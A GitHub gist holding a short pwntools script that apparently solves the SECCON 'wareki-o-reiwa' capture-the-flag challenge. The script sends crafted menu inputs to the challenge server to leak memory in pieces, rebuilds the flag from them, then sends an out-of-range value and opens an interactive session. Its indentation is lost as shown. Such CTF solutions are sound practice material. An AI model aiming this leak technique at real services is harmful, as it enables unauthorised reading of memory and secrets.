Skip to content

Instantly share code, notes, and snippets.

@megumish
Created April 30, 2019 17:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save megumish/545019f534392c3e47b8db1ec6212b89 to your computer and use it in GitHub Desktop.
Save megumish/545019f534392c3e47b8db1ec6212b89 to your computer and use it in GitHub Desktop.
from pwn import *
import re
# coding=utf-8
context.log_level = "error"
i = 6380
flag = ""
#conn = process("./wareki")
conn = remote("wareki-o-reiwa.seccon.jp", 36294)
while True:
for j in range(0,8,2):
conn.sendlineafter(">> ", "2")
conn.sendlineafter(">> ", str(i + j))
conn.sendlineafter(">> ", "1 - 1")
conn.recvline()
int_flag = conn.recvline()[40:]
flag_danpen = re.sub(r'\D', '', int_flag)
if flag_danpen != "":
flag += p64(int(flag_danpen)).decode('utf-8', errors='ignore')[2:4]
print(flag)
i += 8
conn.sendlineafter(">> ", "2")
conn.sendlineafter(">> ", str(-0x10000000))
#conn.sendlineafter(">> ", "1")
#conn.sendlineafter(">> ", str(0x41414141))
#conn.sendlineafter(">> ", "1")
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment